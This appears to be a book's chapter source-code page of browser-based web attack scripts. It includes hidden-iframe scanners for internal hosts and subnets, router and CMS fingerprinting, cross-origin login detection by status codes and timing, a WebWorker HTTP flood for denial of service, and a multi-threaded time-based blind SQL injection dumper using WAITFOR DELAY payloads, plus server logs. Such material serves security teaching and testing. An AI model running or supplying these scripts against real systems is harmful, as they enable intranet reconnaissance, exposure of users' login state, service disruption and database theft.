BHH logo

Ch9 Source Code - Attacking Webapps


Cross-origin Resource Detection

// discovers all the FORM elements in the current page,
// enumerates the ACTION attribute, and checks if the resource
// is same or cross-origin
function getFormActions(doc){
 var formsarray = [];
 var forms = doc.getElementsByTagName("form");
 for (var i=0; i < forms.length; i++){
  var action = forms[i].getAttribute('action');
  formsarray = formsarray.concat(action);
  // emulates an A element: in this way isSameOrigin()
  // can be called in the same way for both A and FORM elements
  var a = doc.createElement('a');
  a.href = action;
  console.log("Discovered form action: " + action
   + ". SameOrigin: " + isSameOrigin(a));
 }
 return formsarray;
}

// discovers all the A elements in the current page,
// enumerates the HREF attribute, and checks if the resource
// is same or cross-origin
function getLinks(doc){
 var linksarray = [];
 var links = doc.links;
 for(var i=0; i<links.length; i++) {
  var link = links[i];
  linksarray = linksarray.concat(link)
  console.log("Discovered link: " + link.href
   + ". SameOrigin: " + isSameOrigin(link));		
 };
 return linksarray;
}

// checks if the resource is SameOrigin checking
// protocol, hostname and port
function isSameOrigin(url){
 var sameOrigin = false;
 if(url.hostname.toString() === location.hostname.toString() &&
 	url.port === location.port &&
 	url.protocol === location.protocol){
 	sameOrigin = true;
 }
 return sameOrigin;
}

getLinks(document);
getFormActions(document);

 /*
  DOMparser polyfill from Eli Grey 
  (https://gist.github.com/eligrey/1129031)
  for browsers that do not support DOMParser
  or parseFromString with text/html
 */
(function(DOMParser) {  
 "use strict";  
 var DOMParser_proto = DOMParser.prototype  
 , real_parseFromString = DOMParser_proto.parseFromString;

 // Firefox/Opera/IE throw errors on unsupported types  
 try {  
  // WebKit returns null on unsupported types  
  if ((new DOMParser).parseFromString("", "text/html")) {  
  // text/html parsing is natively supported  
   return;  
  }  
 } catch (ex) {}  

 DOMParser_proto.parseFromString = function(markup, type) {  
 if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {  
  var doc = document.implementation.createHTMLDocument("")
  , doc_elt = doc.documentElement
  , first_elt;

  doc_elt.innerHTML = markup;
  first_elt = doc_elt.firstElementChild;

  if (doc_elt.childElementCount === 1
  && first_elt.localName.toLowerCase() === "html") {  
   doc.replaceChild(first_elt, doc_elt);  
  }  

  return doc;  
 } else {  
  return real_parseFromString.apply(this, arguments);  
 }  
};  
}(DOMParser));

var xhr = new XMLHttpRequest();
xhr.open("GET", "/demos/butcher/index.html");
xhr.onreadystatechange = function () {
 if (xhr.readyState == 4) {
  try{
   // creates a new Document from the XHR response
   var doc = new DOMParser().parseFromString(
   	xhr.responseText, "text/html");
   getLinks(doc);
   getFormActions(doc);
  }catch(e){}
 }
}
xhr.send();


Internal DNS Enumeration

var protocol = "http://";
var port = 80;

// common internal hostnames
var hostnames = new Array("about", "accounts", "admin",
"administrator", "ads", "adserver", "adsl", "agent", 
"blog", "channel", "client", "dev", "dev1", "dev2", 
"dev3", "dev4", "dev5", "dmz", "dns", "dns0", "dns1", 
"dns2", "dns3", "extern", "extranet", "file", "forum", 
"forums", "ftp", "ftpserver", "host", "http", "https", 
"ida", "ids", "imail", "imap", "imap3", "imap4", "install", 
"intern", "internal", "intranet", "irc", "linux", "log", 
"mail", "map", "member", "members", "name", "nc", "ns", 
"ntp", "ntserver", "office", "owa", "phone", "pop", "ppp1", 
"pptp", "print", "printer", "project", "pub", "public", 
"preprod", "root", "route", "router", "server", "smtp", 
"sql", "sqlserver", "ssh", "telnet", "time", "voip", 
"w", "webaccess", "webadmin", "webmail", "webserver", 
"website", "win", "windows", "ww", "www", "wwww", "xml");

// adds a new 'b' element that will hold
// the appended IFrames
var dom = document.createElement('b');
document.body.appendChild(dom);

// load an hidden IFrame pointing to 
// the current hostname being iterated
function check_host(url, id){
 var iframe = document.createElement('iframe');
 iframe.src = url;
 iframe.id = "i_" + id;
 iframe.style.visibility = "hidden";
 iframe.style.display = "none";
 iframe.style.width = "0px";
 iframe.style.height = "0px";
 iframe.onload = function(){ 
  console.log('Internal DNS found: ' + this.src);
  document.body.removeChild(this);
 };
 dom.appendChild(iframe);
}

// iterate through the hostname array
for(var i=1; i < hostnames.length; i++){ 
  check_host(protocol + hostnames[i] + ":" + port, i);
}

// if the iframe src doesn't exists, the onerror method
// is not thrown, so we need to clean the DOM afterwards
setTimeout(function(){
for(var i=1; i < 255; i++){
 var del = document.getElementById("i_" + i);
 dom.removeChild(del);
}
}, 2000);

Internal Web Application Enumeration

var protocol = "http://";
var port = 80;
var c_subnet = "172.16.37.0"; 

// the following returns 172.16.37.
var c = c_subnet.split(
 c_subnet.split('.')[3]
)[0];

// adds a new 'b' element that will hold
// the appended IFrames
var dom = document.createElement('b');
document.body.appendChild(dom);

// load an hidden IFrame pointing to 
// the current IP being iterated
function check_host(url, id){
 var iframe = document.createElement('iframe');
 iframe.src = url;
 iframe.id = "i_" + id;
 iframe.style.visibility = "hidden";
 iframe.style.display = "none";
 iframe.style.width = "0px";
 iframe.style.height = "0px";
 iframe.onload = function(){ 
  console.log('Internal webapp found: ' + this.src);
 }
 dom.appendChild(iframe);
}

// iterate through the class C subnet
for(var i=1; i < 255; i++){
 var host = c + i;
 check_host(protocol + host + ":" + port, i);
}

// if the iframe src doesn't exists, the onerror method
// is not thrown, so we need to clean the DOM afterwards.
// depending on the latency of the network, you might want
// to scan 10/15 IPs in parallel, not more.
setTimeout(function(){
for(var i=1; i < 255; i++){
 var del = document.getElementById("i_" + i);
 dom.removeChild(del);
}
}, 2000);



Internal Network Fingerprinting - image technique

// See BeEF's internal network fingerprinter:
https://github.com/beefproject/beef/blob/master/modules/network/internal_network_fingerprinting/command.js

Internal Network Fingerprinting - webpage technique

var target = "http://172.16.37.147";

/* Resources to check (name, path)*/
var resources = [
 ["Drupal - FileBrowser","modules/filebrowser/"],
 ["Drupal - FFmpeg", "modules/ffmpeg/"],
 ["WordPress - AccessLogs", "wp-content/plugins/access-logs/"]
];

/* Super-paths (either / or /drupal)*/
var paths = ["/", "/drupal/"];

function add_tag(src){
for(var p=0; p < paths.length; p++) {
 // for every super-path, create the final URI	
 var uri = target + paths[p] + src;
 
 var i = document.createElement('script');
 i.src = uri;
 i.style.display = 'none';
 i.onload = function(){
	console.log(uri + " -- FOUND");	
 };
 i.onerror = function(){
	console.log(uri + " -- NOT-FOUND");
 };
 document.body.appendChild(i);
} 
}

/* For every resource to be checked, add a new script tag */
for(var c=0; c < resources.length; c++) {
 add_tag(resources[c][1]);
}



Sky Sagemcom Router Fingerprinting (using image technique)

// default router IP
var target = "192.168.0.1";

// default router images
var fingerprint_data = new Array(
 new Array(
  "Sky Sagemcom Router",
  "80","http",true,
  "/sky_images/arrows.gif",8,16),
 new Array(
  "Sky Sagemcom Router",
  "80","http",true,
  "/sky_images/icons-broadband.jpg",43,53)
);

var dom = document.createElement('b');

for(var u=0; u < fingerprint_data.length; u++) {
   var img = new Image;
   img.id = u;
   img.src = fingerprint_data[u][2]+"://"+target
        +":"+fingerprint_data[u][1]+ fingerprint_data[u][4];
      
   //onload event triggered, the image has been found
   img.onload = function() {
    // now double-check the width/height too 
    if(this.width == fingerprint_data[this.id][5] &&
     this.height == fingerprint_data[this.id][6]){
    console.log("Found  " + fingerprint_data[this.id][4] +
     " -> " + fingerprint_data[this.id][0]);
    //job done, remove the image from the DOM
    dom.removeChild(this); 
    }
   }
   // add the image to the DOM
   dom.appendChild(img);
}

Cross-origin Login Detection - status code technique

<html>
<body>
	<!-- from https://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information -->
	<!-- twitter -->
	<!--
<script type="text/javascript"
src="https://twitter.com/login?redirect_after_login=%2Fimages%2Fspinner.gif"
onload="alert('Twitter: logged in')"
onerror="alert('Twitter: NOT logged in')"
async="async">
</script>
     
<script type="text/javascript"
src="http://127.0.0.1:8080/admin-console/secure/summary.seam?path=-2%2FJBossAS+Server&conversationId=4&conversationPropagation=end"
onload="alert('Jboss: logged in')"
onerror="alert('Jboss: NOT logged in')"
async="async">
</script>-->

<script>
var uri = "http://127.0.0.1:8080/admin-console/secure/summary.seam?path=-2%2FJBossAS+Server&conversationId=4&conversationPropagation=end";
xhr = new XMLHttpRequest();
xhr.open("GET", uri , true);
xhr.send();
xhr.onreadystatechange = function(){ 
    if ( xhr.readyState == 4 ) { 
      if ( xhr.status == 200 ) { 
        alert('success'); 
      } else { 
        alert('error, resp status: ' + xhr.status); 
      } 
    } 
  }; 
</script>

<!--
<script type="text/javascript"
src="https://accounts.google.com/CheckCookie?continue=https://www.google.com/intl/en/images/logos/accounts_logo.png"
onload="alert('gmail: logged in')"
onerror="alert('gmail: NOT logged in')"
async="async">
</script>
-->
</body>
</html>

Cross-origin Login Detection - timing technique

var add_iframe;
var counter = 5;
var sum = 0;
/* Average time to match. In this case for
the http://browserhacker.com/drupal/?q=admin
resource:
logged in takes > 210ms
not logged in takes < 210ms
*/
var avg_to_match = 210;
function append(){
  if(counter > 0){
   var i = document.createElement("iframe");
   i.src = "http://browserhacker.com/drupal/?q=admin";
   var start = new Date().getTime();
   console.log('start:' + start);
   
   /* Custom onload handler to monitor load time*/
   i.onload = function(){
    var end = new Date().getTime();
    console.log('end:' + end);
    var total = end - start;
    console.log('total:' + total);
    sum += total;
    counter--;
   }
   document.body.appendChild(i);
  }else{
   clearInterval(add_iframe);
   var avg = sum / 5;
   var logged_in = true;
   console.log("sum: " + sum + ", avg:" + avg);
   if(avg < 210){
    logged_in = false;
   }
   console.log("logged in Drupal 6: " + logged_in);
  }
}
add_iframe = setInterval(function(){append()},500);

Java Hash Collision PoC

public class HashCode{
 public static void main(String[] args){
  String a = "Aa";
  String b = "BB";
  String c = "AaBBBBAa";
  String d = "BBAaAaBB";
  System.out.println("Hash code for "+a+":" + a.hashCode());
  System.out.println("Hash code for "+b+":" + b.hashCode());
  System.out.println("Hash code for "+c+":" + a.hashCode());
  System.out.println("Hash code for "+d+":" + b.hashCode());
 }
}

Denial of Service - Server-side code

require 'rubygems'
require 'thin'
require 'rack'
require 'sinatra'
require 'cgi'
require 'mysql'

class Books < Sinatra::Base
  post "/" do
    author = params[:author]
    name = params[:name]
    db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')
    statement = db.prepare "insert into books (name,author) values (?,?);"
    statement.execute name, author
    statement.close 
    "INSERT successfull"
  end

  get "/" do
    book_id = params[:book_id]
    db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')
    statement = db.prepare "select a.author, a.address, b.name from author a, books b where a.author = b.author"
    statement.execute
    result = ""
    statement.each do |item|
       result += CGI::escapeHTML(item.inspect)+"<br>"
    end
    statement.close
    result
  end
end

@routes = {
    "/books" => Books.new,
}

@rack_app = Rack::URLMap.new(@routes)
@thin = Thin::Server.new("172.16.37.150", 80, @rack_app)

Thin::Logging.silent = true
Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"
@thin.start

Denial of Service - Client-side code (webworker.js)

var url = "";
var delay = 0;
var method = "";
var post_data = "";
var counter = 0;

onmessage = function (oEvent) {
    url = oEvent.data['url'];
    delay = oEvent.data['delay'];
    method = oEvent.data['method'];
    post_data = oEvent.data['post_data'];
    doRequest();
};

function noCache(u){
   var result = "";
   if(u.indexOf("?") > 0){
       result = "&" + Date.now() + Math.random();
   }else{
       result = "?" + Date.now() + Math.random();
   }
   return result;
}
function doRequest(){
    setInterval(function(){

        var xhr = new XMLHttpRequest();
        xhr.open(method, url + noCache(url));
        xhr.setRequestHeader('Accept','*/*');
        xhr.setRequestHeader("Accept-Language", "en");
        if(method == "POST"){
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.send(post_data);
        }else{
            xhr.send(null);
        }
        counter++;

    },delay);

    setInterval(function(){
        postMessage("Requests sent: " + counter);
    },10000);
}

Denial of Service - Client-side code (WebWorker controller)

var worker = new Worker('http://browserhacker.com/worker.js');

worker.onmessage = function (oEvent) {
  console.log('WebWorker says: '+oEvent.data);
};

var data = {};
data['url'] = url;
data['delay'] = delay;
data['method'] = method;
data['post_data'] = post_data;

/* send the config options to the WebWorker */
worker.postMessage(data);

Vulnerable ASPx application

Cross-origin Time-based Blind SQL injection dumper (database name retrieval PoC) - Controller

Multi-threaded, MSSQL only

<html>
<body>
<script>

if(!!window.Worker){

 // WebWorker code location
 var wwloc = "http://localhost/time-based-sqli/worker.js";
 // to init WebWorker
 var uri = "http://172.16.37.149";
 var port = "8080";
 var path = "/?book_id=1";
 var payload = " IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),";
 var timeDelay = 2; // seconds to delay the response
 var position = 1;
 // Array holding the retrieved chars
 var dbname = [];
 var dbname_string = "";
 // internal vars
 var dataLength = 0;
 var workersDone = 0;
 var successfulWorkersDone = 0;
 
 // Number fo WebWorkers to spawn in parallel (1 WebWorker handles 1 char position)
 var workers_number = 5; 
 // every 1 second calls checkComplete()
 var checkCompleteDelay = 1000; 
 var start = new Date().getTime();

 /* Iterates throug dbname, converting characaters
  from Decimal to Char representation */
 function finish(){
	dbname.shift(); // removes the first 0 index
 		for(var i=0; i<dbname.length; i++){
 			dbname_string += String.fromCharCode(dbname[i]);
 		}
 		console.log("Database name is: " + dbname_string);
 		var end = new Date().getTime();
 		console.log("Total time [" + (end-start)/1000 + "] seconds.");
 }
 /* Spawn new WebWorkers to handle data retrieval at 'start' position */
 function spawnWorkers(start, end){
 	for(var i=start; i<=end; i++){
 		// using eval to create WebWorker variables dynamically 
	 	eval("var w" + i + " = new Worker('" + wwloc + "');");
	 	/* When we get a message from a WebWorker, check which character at which position
	 	has been retrueved, and add it to the dbname Array. If the message contains 'end' it means
	 	the WebWorker was querying an out of bound position (potentially 'dataLength')*/
	 	eval("w" + i + ".onmessage = function(oEvent){" + 
	 		"var c = oEvent.data['char'];var p = oEvent.data['position']; workersDone++;" + 
	 		"if(oEvent.data['end']){if(dataLength==0){dataLength=p-1;}; " + 
	 		"if(dataLength !=0 && dataLength > (p-1)){dataLength=p-1;};}else{" + 
	 		"successfulWorkersDone++; console.log('Retrieved char ['+c+'] at position ['+p+']');" + 
	 		"dbname[p]=c; console.log('Workers done [' + workersDone + ']. DataLength ['+dataLength+']');}}; ");
	 	eval("var data = {'uri':'" + uri + "', 'port':" + port + ", 'path':'" + path +
	 	 "', 'payload':'" + payload + "', 'index':0,'seconds':" + timeDelay + ",'position':" + i + "};");
	 	eval("w" + i + ".postMessage(data);");

	 	position++;
	 }
 }

 /* Every N seconds (defined in 'checkCompleteDelay') check if WebWorkers have completed,
    and eventually spawn more of them, or call finish()*/
 function checkComplete(){
 	if(workersDone == workers_number){
 		console.log("Successful workers done ["+successfulWorkersDone+"]");

 		// all spawned workers are complete, check if we reached dataLength, or spawn more
 		// dataLength == 0 means we still need to identify the length of the data to be retrieved
 		if((dataLength != 0 && successfulWorkersDone !=0) && successfulWorkersDone == dataLength){
 			console.log("Finishing...");
 			clearInterval(checkCompleteInterval);
 			finish();
 		}else{
 			// spawn additional workers
 			console.log("Spawned other [" + workers_number + "] workers.");
 			workersDone = 0;
 			spawnWorkers(position, position+(workers_number-1)); 
 		}
 	}else{
 		console.log("Waiting for workers to complete...Successful workers done ["+successfulWorkersDone+"]");
 	}
 }

// first call
spawnWorkers(position, workers_number);

var checkCompleteInterval = setInterval(function(){checkComplete()}, checkCompleteDelay);

}else{
	console.log("WebWorker not supported!");
}

</script>
</body>
</html>

Cross-origin Time-based Blind SQL injection dumper (database name retrieval PoC) - WebWorker

var uri, port, path, payload;
var index, seconds, position;

/* Configuration coming from the code that instantiates the WebWorker (father) */
onmessage = function (e) {
 uri = e.data['uri'];
 port = e.data['port'];
 path = e.data['path'];
 payload = e.data['payload'];
 
 index = e.data['index'];
 seconds = e.data['seconds'];
 position = e.data['position'];

 retrieveChar(index, seconds, position);
};

function retrieveChar(index, seconds, position){
	var lowerbound = 1;
	var upperbound = 127;
	var index;
	var isLastReqSleep = false;
	var reqNumber = 0;
	var stringEndReached = true; // if all requests do not delay, it means we're querying an out of bound position.

	function doRequest(index, seconds, position){
	 //console.log("request -> index: " + index + ", delay: " + seconds + " seconds, position: " + position);

	 if(lowerbound <= upperbound){
	     reqNumber++;
	 	 index = Math.floor((lowerbound + upperbound) / 2);
		 var enc_payload = encodeURI(payload + position + ",1))>" + index + ") WAITFOR DELAY '0:0:" + seconds + "'--");
		 // payload is something like:  IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),
		 var xhr = new XMLHttpRequest();
		 var started = new Date().getTime();
		 xhr.open("GET", uri + ":" + port + path + enc_payload, false);
		 xhr.onreadystatechange=function(){
		 if(xhr.readyState == 4){
		    var finished = new Date().getTime();
		    var respTime = (finished - started)/1000;
		    
		    /* Binary inference. With 7 requests per character we can determine the character
		    Decimal representation. If the request is not delayed of at least N 'seconds', we can 
		    infer that the Decimal representation of the character (lets say 115) is not greater than 'index' 127:
		    IF(115>127) WAITFOR. Continue in the same way, changing 'index' to 63...
		    */
		    if(respTime >= seconds){
		    	lowerbound = index + 1;
		        if(reqNumber == 7) isLastReqSleep = true;
		        stringEndReached = false;
		    }else{
		    	upperbound = index - 1; 
		    }
		    /* Call doRequest() recursively*/
		    doRequest(index, seconds, position);
		 }
		 }
		 xhr.send();

	 }else{
	    if(isLastReqSleep){ 
	        index++;
	    }
	    /* Notifies the WebWorker father with the retrieved character at the current position.
	    If stringEndReached==true means we're querying an out of bound position, and found the end of the 
	    data we are retrieving */
	 	postMessage({'position':position,'char':index,'end':stringEndReached});
	 	self.close(); //close the worker
	 	return index;
	 }
	}

	// starts sending requests
	doRequest(index, seconds, position);
}

Cross-origin XHR - Client-side code

<html>
<body>
<script>
var uri = "http://browserhacker.com";
var port = 4000;

xhr = new XMLHttpRequest();
xhr.open("GET", uri + ":" + port + "/xhr?param=value", true);
xhr.send();

xhr = new XMLHttpRequest();
xhr.open("POST", uri + ":" + port + "/xhr", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
xhr.send("a001 LIST \r\n");
</script>
</body>
</html>

Cross-origin XHR - Server-side code

require 'rubygems'
require 'thin'
require 'rack'
require 'sinatra'

class XhrHandler < Sinatra::Base
 post "/" do
    puts "POST from [#{request.user_agent}]"
    params.each do |key,value|
      puts "POST body [#{key}->#{value}]"
    end
    p "[+] Content-Type [#{request.content_type}]"
    p "[+] Body [#{request.body.read}]"
    # p "Raw request:\n #{request.env.to_s}"
  end

  get "/" do
  	puts "GET from [#{request.user_agent}]"
    params.each do |key,value|
      puts "[+] Request params [#{key} -> #{value}]"
    end
  end

  options "/" do
    puts "OPTIONS from [#{request.user_agent}]"
    puts "[+] The preflight was triggered"
  end
end

@routes = {
    "/xhr" => XhrHandler.new
}

@rack_app = Rack::URLMap.new(@routes)
@thin = Thin::Server.new("192.168.0.2", 4000, @rack_app)

Thin::Logging.silent = true
Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"
@thin.start

Cross-origin XHR - Raw results in different browsers

    --- Intranet -> browserhacker.com:4000 on server OpenBSD ---

    FF 20 -> OK
    C 26 -> OK
    S 6 -> OK
    O 12 -> NOT OK
    IE 10 (Xhr) -> OK

    "POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0]"
    "[+] Request [text/plain; charset=UTF-8] - Body [a001 LIST \r\n]"
    "GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0]"
    [+] Request params [param -> value]
    "POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31]"
    "[+] Request [text/plain] - Body [a001 LIST \r\n]"
    "GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31]"
    [+] Request params [param -> value]
    "POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10]"
    "[+] Request [text/plain] - Body [a001 LIST \r\n]"
    "GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10]"
    [+] Request params [param -> value]

    --- browserhacker.com:4000 on server OpenBSD -> Intranet  ---
    FF 20 -> OK
    C 26 -> OK
    S 6 -> OK
    O 12 -> NOT OK
    IE 10 (Xhr) -> OK


    [2013-04-20 12:41:14 +0100] Thin ready
    POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0]
    "[+] Content-Type [text/plain; charset=UTF-8]"
    "[+] Body [a001 LIST \r\n]"
    GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0]
    [+] Request params [param -> value]
    POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31]
    "[+] Content-Type [text/plain]"
    "[+] Body [a001 LIST \r\n]"
    GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31]
    [+] Request params [param -> value]
    POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10]
    "[+] Content-Type [text/plain]"
    "[+] Body [a001 LIST \r\n]"
    GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10]
    [+] Request params [param -> value]
    GET from [Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)]
    [+] Request params [param -> value]
    POST from [Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)]
    "[+] Content-Type [text/plain]"
    "[+] Body [a001 LIST \r\n]"

    --- browserhacker.com:4000 on server OpenBSD -> INTERNET  ---
    FF 20 -> OK
    C 26 -> OK
    S 6 -> OK
    O 12 -> NOT OK
    IE 10 (Xhr) -> OK

    POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0]
    "[+] Content-Type [text/plain; charset=UTF-8]"
    "[+] Body [a001 LIST \r\n]"
    GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0]
    [+] Request params [param -> value]
    POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31]
    "[+] Content-Type [text/plain]"
    "[+] Body [a001 LIST \r\n]"
    GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31]
    [+] Request params [param -> value]
    GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10]
    [+] Request params [param -> value]
    POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10]
    "[+] Content-Type [text/plain]"
    "[+] Body [a001 LIST \r\n]"
    GET from [Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)]
    [+] Request params [param -> value]
    POST from [Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)]
    "[+] Content-Type [text/plain]"
    "[+] Body [a001 LIST \r\n]"